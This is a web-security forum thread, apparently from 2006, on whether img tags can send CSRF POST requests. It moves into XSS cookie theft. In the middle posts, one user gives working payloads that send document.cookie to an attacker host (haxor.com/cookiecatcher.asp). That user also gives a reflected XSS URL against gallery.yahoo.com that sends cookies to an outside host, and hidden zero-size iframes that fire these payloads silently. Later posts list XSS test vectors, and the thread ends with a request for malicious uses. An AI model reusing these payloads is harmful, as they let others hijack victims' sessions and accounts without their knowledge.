Yep, GET links like: index.php?page=delete&id=45 inside <img> tags work, but what if
orthe delete action only allows POST? I guess POST can never be "done" from an <img> tag, but maybe I've missed something.

Feel free to discuss other techniques by using the <img> tag to silently executes GET's. :)

You can make POST request with a form that auto-submit or Xmlhttprequest...
With <img> tag, you can also use the DOM :
var image = new Image();
image.src="http://ha.ckers.org";

Will end with a GET request to ha.kers.org

Well nothing new =)

Girzi, you are mixing up CSRF and XSS, CSRF from inside <img> tags involves no JS at
all.

Yeah I understoof very well don't worry =).
Another way to use CSRF is by using flash files...
With <img> tag you just can do GET requests nothing more

Beetleflux, I am not aware of any way to change the request method inside of an image. http://www.apps.ietf.org/rfc/rfc2616.html#sec-10.3.2 According to this, that's actually by design.

As a side note a lot of applications can switch between GET and POST seemlessly. If you just reformat the string as a GET string instead of POST often times it will work.

- RSnake
Gotta love it. http://ha.ckers.org

I don't quite get what you're asking about. Let me see if I understand. You're able to inject an image with any source, in fact any attribute. You're trying to cause a POST action to be performed to an arbitrary file on the same domain. Something like this does work:

<img src="http://www.google.co.uk/images/logo_sm.gif" onload="var xhReq=new XMLHttpRequest();xhReq.open('GET','/a.txt',false);xhReq.send(null);alert(xhReq.responseText)">

The false makes the request asynchronous which means that before the alert() is executed xhReq. The rest is obvious. That will run automatically, without any user interaction.

Don't forget our IRC: irc://irc.irchighway.net/#slackers
-WhiteAcid - your friendly, very lazy, web developer

He's asking if you can change a request method from GET to POST only being able to provide an external link to an image.

- RSnake
Gotta love it. http://ha.ckers.org

Ah. Well... then it's pretty much impossible.

>As a side note a lot of applications can switch between GET and POST seemlessly
perhaps JSP, CGI and ASP applications, but most PHP developers now properly use $_GET and $_POST and have register_globals turned off.

Don't forget our IRC: irc://irc.irchighway.net/#slackers
-WhiteAcid - your friendly, very lazy, web developer

You're right, but I wasn't talking about PHP applications (although I probably should have made that clear, since he was talking about "index.php"). I haven't seen any CGI applications that have that problem, but I've seen lots of ASP/.NET applications that do, which happens to be run on more and more large web sites.

It's always something worth testing for though.

"...most PHP developers now properly use $_GET and $_POST and have register_globals turned off."
I think you're forgetting about $_REQUEST.

Do people really still use that?

Don't forget our IRC: irc://irc.irchighway.net/#slackers
-WhiteAcid - your friendly, very lazy, web developer

MediaWiki - the software that powers Wikipedia - appears to. Take a look at includes/WebRequest.php. WordPress doesn't appear to, but I didn't look at either very thoroughly.

MediaWiki uses GET for a lot of things that shouldn't use get. Fortunantely, they also use tokens which mitigates the risk somewhat (woe to anyone using a Web Accelerator though...)

To add to RSnake's reference to RFC 2616, here's another relevant section:

http://www.apps.ietf.org/rfc/rfc2616.html#sec-9.1

Requests for embedded resources use GET, and the specification requires GET to be both safe and idempotent. This should, in theory, protect against any CSRF attack that uses GET. Unfortunately, this is not the case - web developers can easily make GET neither safe nor idempotent. (This is not just a PHP problem with register_globals and $_REQUEST. I know plenty of other web technologies that make it easy to ignore the distinction for those who choose to do so. It's also why many people encountered problems with the Google Web Accelerator.)

To answer the original question, it should be impossible to cause a request for an embedded resource to use POST. (If this is not true, I'd consider it a browser bug.) Sure, you can use other attributes in the image tag to execute JavaScript, but that's just using XSS to launch your CSRF attack (a useful combination, but not specific to image tags).

There are a few techniques that let you silently submit POST requests. I'm assuming you're not asking about these, right?

> I guess POST can never be "done" from an <img> tag,
and
> .. it should be impossible to cause a request for an embedded resource to use POST. (If this is not true, I'd consider it a browser bug.)
I disagree to the browser bug. Could be a typical web application security problem too.

Consider that the img src= gets injected a link to a server which is prone to HTTP Response Splitting, or in short words: to %0d%0a attacks. That should be sufficent to send a POST request following the initial GET request.

Not really an answer to the initial question: inside img tag, but:
consider you can inject any HTML code, then you can add your own form with POST
Without JavaScript involved, the victim at least needs to click somewhere.
Note that HTML injection is the basic form of XSS, but no scripting involved.

Response splitting doesn't actually make two requests though... it makes the original request (GET) and then forges a second request with whatever you want. You're still requesting a GET method though. Unless you mean that the second time you go there the caching server will only look at the second (spoofed) request since it was the one that was cached.

To your second point if you can inject HTML this is a moot point. His question is if you just start with an image tag referencing your domain can you change it to POST method.

- RSnake
Gotta love it. http://ha.ckers.org

WhiteAcid Wrote:
-------------------------------------------------------
> Ah. Well... then it's pretty much impossible.
>
> >As a side note a lot of applications can switch
> between GET and POST seemlessly
> perhaps JSP, CGI and ASP applications, but most
> PHP developers now properly use $_GET and $_POST
> and have register_globals turned off.


HTTP form method strictness is actually a lot less common than you might think. I've designed a few bookmarklets that I use for web app pentesting, one of which can be used to simplify checking if an application is GET/POST strict.

http://yaisb.blogspot.com/2006/08/new-bookmarklets.html

The one I'm talking about is called methodToggle ...
it will open a dialogue box, listing all the forms and there methods, you pick one by its index number, and that forms method will be switched.

useful for those on Opera/Safari.. but for those using Firefox, it's included in the WebDeveloper extension and works quite nicely.

-maluc

There is a menusetup similar to the WebDeveloper extension that does these things as well.

- Kyran

menusetup in firefox or opera?

-maluc

Opera.

- Kyran

tehryan, that's a cool bookmarklet... what would be even better is if you had a stripped down version that did what the WebDeveloper plugin does and just reversed ever form method for you so you didn't have to go through and change them one at a time. Very cool though. And btw, if you are looking for jobs, stay tuned on the job board. I get lots of offers thrown my way and many of them are entry level.

Is it possible to access cookies through CSRF attacks??

Example: (I haven't gotten these to work)

<img src='http://somesite.com/stealcookie.asp?cookie=" + document.cookie + "'>

or

<iframe src='http://somesite.com/stealcookie.asp?cookie=" + document.cookie + "'>

I read on another thread creating an iframe to automatically log a person out, then access their username/password when they are forced to log back in...

Unfortunately no, that won't work in the way you typed it, unless there were some very strange circumstances where they replaced anything that said "document.cookie" on a page with the cookies in question (which will never happen in the wild).

You can use iframes or images to automatically log people out through CSRF, but capturing the usernames and passwords upon re-login requires something more than CSRF. And btw, if you can enter an iframe you can use JavaScript which takes out outside the narrow band of CSRF only.

- RSnake
Gotta love it. http://ha.ckers.org

maybe you just got your acronyms mixed up, but you can't do it with CSRF, document.cookie appends the cookies for the page the javascript is run from. Thus you need an XSS hole to do it.

Putting this on your evil.com website:

<script>document.write('<img src="http://haxor.com/cookiecatcher.asp?'+document.cookie+'">')</script>

will obviously just insert the cookies for evil.com

That's where XSS comes in - injecting that javascript into myspace..

http://myspace.com/profile?id="><script>document.write('<img src="http://haxor.com/cookiecatcher.asp?'+document.cookie+'">')</script>

You'll probably have to hex encode the + to %2B among others. and this will send the myspace cookies to haxor.com

This has nothing to do with CSRF though, all XSS. And to make the link more subtle.. send them to evil.com/happykittendance.html .. and inside your happykittendance.html include the following:

<iframe height=0 width=0 style="visibility:hidden" src="http://myspace.com/profile?id=%27><script>document.write('<img%20src=%22http://haxor.com/cookiecatcher.asp?'%2Bdocument.cookie%2B'%22>')</script>">

When they visit happykittendance.html .. a hidden iframe will eat their cookies - using only XSS

-maluc

For those who learn better by example, this will steal someones yahoo cookies. (my cookiestealer test http://scripts.sitesled.com/cookiemonster.html is only javascript and doesn't store anything, so its safe to click) If it includes the cookies Y and T, you should be able to login to their email account.

http://gallery.yahoo.com/error.php?e=--%3E%3Cscript%3Edocument.write('%3Ciframe%20src=http://scripts.sitesled.com/cookiemonster.html?'%2Bescape(document.cookie)%2B'%3Ehiya')%3C/script%3E%3Cx

convincing someone to click such a link is suspicious.. so paste this inside any webpage of your own

<iframe height=0 width=0 style="visibility:hidden"
src="http://gallery.yahoo.com/error.php?e=--%3E%3Cscript%3Edocument.write('%3Ciframe%20src=http://scripts.sitesled.com/cookiemonster.html?'%2Bescape(document.cookie)%2B'%3Ehiya')%3C/script%3E%3Cx">
</iframe>

An example nonsuspicious link (ignoring the alert that pops up)
http://maluc.sitesled.com/funful.html

Yes, I may have mixed up my acronyms. Here's why I ask. The developers in my department use various 3rd party rich textbox controls in their applications. Most I have tested do not allow <script> tags, at least not directly. I haven't come up with too many ways to encode them though...

But these 3rd party controls do allow html tags, <br>, <img>, <iframe> so I was curious what malicious things I could demonstrate that are severe enough that a manager's ears would "perk up" and take notice. Stealing a cookie and impersonating a user always does it, but that's using script.

We do require our developers to have a "Logout" page, so I could demonstrate the <iframe src="/logout.aspx"> on the first page, that would keep the user in a never ending loop of logging in, then out, then in, then out, etc...

Any suggestions would be appreciated...

Nice find! I used to think Yahoo was pretty good about this sort of thing.

- RSnake
Gotta love it. http://ha.ckers.org

sjensen, without seeing the page it's hard to tell but did you try things like

<iframe src="javascript:alert('XSS')"></iframe>

and

<IMG SRC="" onerror="alert('XSS')">

- RSnake
Gotta love it. http://ha.ckers.org

Just tried them...

The first one (<iframe src="javascript:alert('XSS')"></iframe>)
renders the iframe with a 404 page, no alert is executed.

The second one (<IMG SRC="" onerror="alert('XSS')">) worked! It threw up the alert box.

So the next thing is...how can it be exploited maliciously??



Edited 1 time(s). Last edit at 11/09/2006 12:32PM by sjensen.